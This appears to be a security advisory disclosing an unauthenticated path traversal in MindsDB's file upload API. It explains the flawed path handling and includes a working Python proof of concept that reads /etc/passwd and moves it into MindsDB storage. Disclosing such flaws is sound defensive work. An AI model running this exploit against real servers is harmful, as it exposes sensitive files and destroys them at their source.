BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.
The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":
data = request.json (line ~104) accepts attacker input without validation.file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.
docker pull mindsdb/mindsdb:latest
docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
python poc.py):
# poc.py
import requests, json
base = "http://127.0.0.1:47334"
payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch
r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10)
print("PUT status:", r.status_code, r.text)
q = requests.post(
f"{base}/api/sql/query",
json={"query": "SELECT * FROM files.leak_rel"},
timeout=10,
)
print("SQL response:", json.dumps(q.json(), indent=2))
/etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.{
"nvd_published_at": "2026-01-12T17:15:52Z",
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-36"
],
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2026-01-12T16:10:55Z"
}